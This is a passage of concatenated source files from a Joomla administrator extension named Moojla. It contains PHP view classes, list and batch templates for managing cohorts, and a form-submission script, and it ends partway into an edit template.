// We can save the record.
JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
}
if ($isNew)
{
// Do not creat but cancel.
JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CANCEL');
}
else
{
// We can close it.
JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CLOSE');
}
}
else
{
if ($isNew)
{
// For new records, check the create permission.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::apply('cohort.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
JToolBarHelper::custom('cohort.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
};
JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CANCEL');
}
else
{
if ($this->canDo->get('core.edit'))
{
// We can save the new record
JToolBarHelper::apply('cohort.apply',
'JTOOLBAR_APPLY');
JToolBarHelper::save('cohort.save',
'JTOOLBAR_SAVE');
// We can save this record, but check the create permission to see
// if we can return to make a new one.
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('cohort.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
}
}
$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('cohort.version'));
if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
{
JToolbarHelper::versions('com_moojla.cohort',
$this->item->id);
}
if ($this->canDo->get('core.create'))
{
JToolBarHelper::custom('cohort.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
}
JToolBarHelper::cancel('cohort.cancel',
'JTOOLBAR_CLOSE');
}
}
JToolbarHelper::divider();
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('cohort');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 30)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
$isNew = ($this->item->id < 1);
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COHORT_NEW' : 'COM_MOOJLA_COHORT_EDIT'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/cohort.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/cohort/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
JText::script('view not acceptable. Error');
}
}
views/cohorts/index.html000064400000000054151165724410011364
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/cohorts/tmpl/default.php000064400000005515151165724410012507
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
$saveOrderingUrl =
'index.php?option=com_moojla&task=cohorts.saveOrderAjax&tmpl=component';
JHtml::_('sortablelist.sortable', 'cohortList',
'adminForm', strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=cohorts');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="span2">
<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="span10">
<?php else : ?>
<div id="j-main-container">
<?php endif; ?>
<?php
// Add the searchtools
echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
<div class="alert alert-no-items">
<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
</div>
<?php else : ?>
<table class="table table-striped"
id="cohortList">
<thead><?php echo
$this->loadTemplate('head');?></thead>
<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
<tbody><?php echo
$this->loadTemplate('body');?></tbody>
</table>
<?php // Load the batch processing form. ?>
<?php if ($this->canCreate && $this->canEdit) : ?>
<?php echo JHtml::_(
'bootstrap.renderModal',
'collapseModal',
array(
'title' =>
JText::_('COM_MOOJLA_COHORTS_BATCH_OPTIONS'),
'footer' =>
$this->loadTemplate('batch_footer')
),
$this->loadTemplate('batch_body')
); ?>
<?php endif; ?>
<input type="hidden" name="boxchecked"
value="0" />
</div>
<?php endif; ?>
<input type="hidden" name="task" value=""
/>
<?php echo JHtml::_('form.token'); ?>
</form>
views/cohorts/tmpl/default_batch_body.php000064400000002332151165724410014657
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<p><?php echo JText::_('COM_MOOJLA_COHORTS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/cohorts/tmpl/default_batch_footer.php000064400000002730151165724410015222
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_batch_footer.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('cohort.batch');">
<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/cohorts/tmpl/default_body.php000064400000007532151165724410013525
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_body.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
$edit =
"index.php?option=com_moojla&view=cohorts&task=cohort.edit";
?>
<?php foreach ($this->items as $i => $item): ?>
<?php
$canCheckin = $this->user->authorise('core.manage',
'com_checkin') || $item->checked_out == $this->user->id
|| $item->checked_out == 0;
$userChkOut = JFactory::getUser($item->checked_out);
$canDo =
MoojlaHelper::getActions('cohort',$item,'cohorts');
?>
<tr class="row<?php echo $i % 2; ?>">
<td class="order nowrap center hidden-phone">
<?php if ($canDo->get('core.edit.state')): ?>
<?php
$iconClass = '';
if (!$this->saveOrder)
{
$iconClass = ' inactive tip-top" hasTooltip"
title="' . JHtml::tooltipText('JORDERINGDISABLED');
}
?>
<span class="sortable-handler<?php echo $iconClass;
?>">
<i class="icon-menu"></i>
</span>
<?php if ($this->saveOrder) : ?>
<input type="text" style="display:none"
name="order[]" size="5"
value="<?php echo $item->ordering; ?>"
class="width-20 text-area-order " />
<?php endif; ?>
<?php else: ?>
⋮
<?php endif; ?>
</td>
<td class="nowrap center">
<?php if ($canDo->get('core.edit')): ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php else: ?>
□
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('grid.id', $i, $item->id); ?>
<?php endif; ?>
<?php else: ?>
□
<?php endif; ?>
</td>
<td class="nowrap">
<div class="name">
<?php if ($canDo->get('core.edit')): ?>
<a href="<?php echo $edit; ?>&id=<?php echo
$item->id; ?>"><?php echo
$this->escape($item->mcohort); ?></a>
<?php if ($item->checked_out): ?>
<?php echo JHtml::_('jgrid.checkedout', $i,
$userChkOut->name, $item->checked_out_time, 'cohorts.',
$canCheckin); ?>
<?php endif; ?>
<?php else: ?>
<?php echo $this->escape($item->mcohort); ?>
<?php endif; ?>
</div>
</td>
<td class="hidden-phone">
<?php echo $this->escape($item->course_group_title); ?>
</td>
<td class="center">
<?php if ($canDo->get('core.edit.state')) : ?>
<?php if ($item->checked_out) : ?>
<?php if ($canCheckin) : ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'cohorts.', true, 'cb'); ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'cohorts.', false, 'cb');
?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published',
$item->published, $i, 'cohorts.', true, 'cb'); ?>
<?php endif; ?>
<?php else: ?>
<?php echo JHtml::_('jgrid.published', $item->published,
$i, 'cohorts.', false, 'cb'); ?>
<?php endif; ?>
</td>
<td class="nowrap center hidden-phone">
<?php echo $item->id; ?>
</td>
</tr>
<?php endforeach;
?>views/cohorts/tmpl/default_foot.php000064400000002304151165724410013527
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_foot.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<td colspan="6"><?php echo
$this->pagination->getListFooter(); ?></td>
</tr>views/cohorts/tmpl/default_head.php000064400000004621151165724410013465
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_head.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<tr>
<?php if ($this->canEdit&& $this->canState): ?>
<th width="1%" class="nowrap center
hidden-phone">
<?php echo JHtml::_('searchtools.sort', '',
'a.ordering', $this->listDirn, $this->listOrder, null,
'asc', 'JGRID_HEADING_ORDERING',
'icon-menu-2'); ?>
</th>
<th width="20" class="nowrap center">
<?php echo JHtml::_('grid.checkall'); ?>
</th>
<?php else: ?>
<th width="20" class="nowrap center
hidden-phone">
▾
</th>
<th width="20" class="nowrap center">
■
</th>
<?php endif; ?>
<th class="nowrap" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COHORT_MCOHORT_LABEL', 'g.name',
$this->listDirn, $this->listOrder); ?>
</th>
<th class="nowrap hidden-phone" >
<?php echo
JText::_('COM_MOOJLA_COHORT_COURSE_GROUP_LABEL'); ?>
</th>
<?php if ($this->canState): ?>
<th width="10" class="nowrap center" >
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COHORT_STATUS', 'a.published',
$this->listDirn, $this->listOrder); ?>
</th>
<?php else: ?>
<th width="10" class="nowrap center" >
<?php echo JText::_('COM_MOOJLA_COHORT_STATUS'); ?>
</th>
<?php endif; ?>
<th width="5" class="nowrap center hidden-phone"
>
<?php echo JHtml::_('searchtools.sort',
'COM_MOOJLA_COHORT_ID', 'a.id', $this->listDirn,
$this->listOrder); ?>
</th>
</tr>views/cohorts/tmpl/default_toolbar.php000064400000007052151165724410014227
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage default_toolbar.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<div id="filter-bar" class="btn-toolbar">
<div class="filter-search btn-group pull-left">
<label for="filter_search"
class="element-invisible"><?php echo
JText::_('Search');?></label>
<input type="text" name="filter_search"
id="filter_search" placeholder="<?php echo
JText::_('JSEARCH_FILTER'); ?>" value="<?php echo
$this->escape($this->state->get('filter.search'));
?>" class="hasTooltip" title="<?php echo
JHtml::tooltipText('Search Cohorts'); ?>" />
</div>
<div class="btn-group pull-left">
<button type="submit" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_SUBMIT'); ?>"><i
class="icon-search"></i></button>
<button type="button" class="btn
hasTooltip" title="<?php echo
JHtml::tooltipText('JSEARCH_FILTER_CLEAR'); ?>"
onclick="document.id('filter_search').value='';this.form.submit();"><i
class="icon-remove"></i></button>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="limit"
class="element-invisible"><?php echo
JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC');?></label>
<?php echo $this->pagination->getLimitBox(); ?>
</div>
<div class="btn-group pull-right hidden-phone">
<label for="directionTable"
class="element-invisible"><?php echo
JText::_('JFIELD_ORDERING_DESC');?></label>
<select name="directionTable"
id="directionTable" class="input-medium"
onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JFIELD_ORDERING_DESC');?></option>
<option value="asc" <?php if
($this->listDirn == 'asc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_ASCENDING');?></option>
<option value="desc" <?php if
($this->listDirn == 'desc') echo
'selected="selected"'; ?>><?php echo
JText::_('JGLOBAL_ORDER_DESCENDING');?></option>
</select>
</div>
<div class="btn-group pull-right">
<label for="sortTable"
class="element-invisible"><?php echo
JText::_('JGLOBAL_SORT_BY');?></label>
<select name="sortTable" id="sortTable"
class="input-medium" onchange="Joomla.orderTable()">
<option value=""><?php echo
JText::_('JGLOBAL_SORT_BY');?></option>
<?php echo JHtml::_('select.options',
$this->getSortFields(), 'value', 'text',
$this->listOrder);?>
</select>
</div>
</div>
<div class="clearfix">
</div>views/cohorts/tmpl/index.html000064400000000054151165724410012340
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/cohorts/view.html.php000064400000020356151165724410012024
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage view.html.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
/**
* Moojla View class for the Cohorts
*/
class MoojlaViewCohorts extends JViewLegacy
{
/**
* Cohorts view display method
* @return void
*/
function display($tpl = null)
{
if ($this->getLayout() !== 'modal')
{
// Include helper submenu
MoojlaHelper::addSubmenu('cohorts');
}
// Assign data to the view
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->user = JFactory::getUser();
// Load the filter form from xml.
$this->filterForm = $this->get('FilterForm');
// Load the active filters.
$this->activeFilters = $this->get('ActiveFilters');
// Add the list ordering clause.
$this->listOrder =
$this->escape($this->state->get('list.ordering',
'a.id'));
$this->listDirn =
$this->escape($this->state->get('list.direction',
'DESC'));
$this->saveOrder = $this->listOrder == 'a.ordering';
// set the return here value
$this->return_here = urlencode(base64_encode((string)
JUri::getInstance()));
// get global action permissions
$this->canDo = MoojlaHelper::getActions('cohort');
$this->canEdit = $this->canDo->get('core.edit');
$this->canState =
$this->canDo->get('core.edit.state');
$this->canCreate = $this->canDo->get('core.create');
$this->canDelete = $this->canDo->get('core.delete');
$this->canBatch = $this->canDo->get('core.batch');
// We don't need toolbar in the modal window.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
$this->sidebar = JHtmlSidebar::render();
// load the batch html
if ($this->canCreate && $this->canEdit &&
$this->canState)
{
$this->batchDisplay = JHtmlBatch_::render();
}
}
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new Exception(implode("\n", $errors), 500);
}
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
JToolBarHelper::title(JText::_('COM_MOOJLA_COHORTS'),
'joomla');
JHtmlSidebar::setAction('index.php?option=com_moojla&view=cohorts');
JFormHelper::addFieldPath(JPATH_COMPONENT . '/models/fields');
if ($this->canCreate)
{
JToolBarHelper::addNew('cohort.add');
}
// Only load if there are items
if (MoojlaHelper::checkArray($this->items))
{
if ($this->canEdit)
{
JToolBarHelper::editList('cohort.edit');
}
if ($this->canState)
{
JToolBarHelper::publishList('cohorts.publish');
JToolBarHelper::unpublishList('cohorts.unpublish');
JToolBarHelper::archiveList('cohorts.archive');
if ($this->canDo->get('core.admin'))
{
JToolBarHelper::checkin('cohorts.checkin');
}
}
// Add a batch button
if ($this->canBatch && $this->canCreate &&
$this->canEdit && $this->canState)
{
// Get the toolbar object instance
$bar = JToolBar::getInstance('toolbar');
// set the batch button name
$title = JText::_('JTOOLBAR_BATCH');
// Instantiate a new JLayoutFile instance and render the batch button
$layout = new JLayoutFile('joomla.toolbar.batch');
// add the button to the page
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
if ($this->state->get('filter.published') == -2
&& ($this->canState && $this->canDelete))
{
JToolbarHelper::deleteList('', 'cohorts.delete',
'JTOOLBAR_EMPTY_TRASH');
}
elseif ($this->canState && $this->canDelete)
{
JToolbarHelper::trash('cohorts.trash');
}
}
// set help url for this view if found
$help_url = MoojlaHelper::getHelpUrl('cohorts');
if (MoojlaHelper::checkString($help_url))
{
JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
}
// add the options comp button
if ($this->canDo->get('core.admin') ||
$this->canDo->get('core.options'))
{
JToolBarHelper::preferences('com_moojla');
}
// Only load published batch if state and batch is allowed
if ($this->canState && $this->canBatch)
{
JHtmlBatch_::addListSelection(
JText::_('COM_MOOJLA_KEEP_ORIGINAL_STATE'),
'batch[published]',
JHtml::_('select.options',
JHtml::_('jgrid.publishedOptions', array('all' =>
false)), 'value', 'text', '', true)
);
}
// Only load Mcohort Name batch if create, edit, and batch is allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Mcohort Name Selection
$this->mcohortNameOptions =
JFormHelper::loadFieldType('Mcohort')->options;
// We do some sanitation for Mcohort Name filter
if (MoojlaHelper::checkArray($this->mcohortNameOptions) &&
isset($this->mcohortNameOptions[0]->value) &&
!MoojlaHelper::checkString($this->mcohortNameOptions[0]->value))
{
unset($this->mcohortNameOptions[0]);
}
// Mcohort Name Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_COHORT_MCOHORT_LABEL').'
-',
'batch[mcohort]',
JHtml::_('select.options', $this->mcohortNameOptions,
'value', 'text')
);
}
// Only load Course Group Title batch if create, edit, and batch is
allowed
if ($this->canBatch && $this->canCreate &&
$this->canEdit)
{
// Set Course Group Title Selection
$this->course_groupTitleOptions =
JFormHelper::loadFieldType('Customusergroup')->options;
// We do some sanitation for Course Group Title filter
if (MoojlaHelper::checkArray($this->course_groupTitleOptions)
&&
isset($this->course_groupTitleOptions[0]->value) &&
!MoojlaHelper::checkString($this->course_groupTitleOptions[0]->value))
{
unset($this->course_groupTitleOptions[0]);
}
// Course Group Title Batch Selection
JHtmlBatch_::addListSelection(
'- Keep Original
'.JText::_('COM_MOOJLA_COHORT_COURSE_GROUP_LABEL').'
-',
'batch[course_group]',
JHtml::_('select.options',
$this->course_groupTitleOptions, 'value', 'text')
);
}
}
/**
* Method to set up the document properties
*
* @return void
*/
protected function setDocument()
{
if (!isset($this->document))
{
$this->document = JFactory::getDocument();
}
$this->document->setTitle(JText::_('COM_MOOJLA_COHORTS'));
$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/cohorts.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
}
/**
* Escapes a value for output in a view script.
*
* @param mixed $var The output to escape.
*
* @return mixed The escaped value.
*/
public function escape($var)
{
if(strlen($var) > 50)
{
// use the helper htmlEscape method instead and shorten the string
return MoojlaHelper::htmlEscape($var, $this->_charset, true);
}
// use the helper htmlEscape method instead.
return MoojlaHelper::htmlEscape($var, $this->_charset);
}
/**
* Returns an array of fields the table can be sorted by
*
* @return array Array containing the field name to sort by as the key
and display text as value
*/
protected function getSortFields()
{
return array(
'a.ordering' =>
JText::_('JGRID_HEADING_ORDERING'),
'a.published' => JText::_('JSTATUS'),
'g.name' =>
JText::_('COM_MOOJLA_COHORT_MCOHORT_LABEL'),
'a.id' => JText::_('JGRID_HEADING_ID')
);
}
}
views/content/submitbutton.js000064400000002744151165724410012465
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage submitbutton.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
Joomla.submitbutton = function(task)
{
if (task == ''){
return false;
} else {
var action = task.split('.');
if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
Joomla.submitform(task, document.getElementById("adminForm"));
return true;
} else {
alert(Joomla.JText._('content, some values are not
acceptable.','Some values are unacceptable'));
return false;
}
}
}views/content/tmpl/edit.php000064400000011132151165724410011771
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage edit.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
// waiting spinner
var outerDiv = jQuery('body');
jQuery('<div id="loading"></div>')
.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
.css("width", outerDiv.width())
.css("height", outerDiv.height())
.css("position", "fixed")
.css("opacity", "0.80")
.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
.css("filter", "alpha(opacity = 80)")
.css("display", "none")
.appendTo(outerDiv);
jQuery('#loading').show();
// when page is ready remove and show
jQuery(window).load(function() {
jQuery('#moojla_loader').fadeIn('fast');
jQuery('#loading').hide();
});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
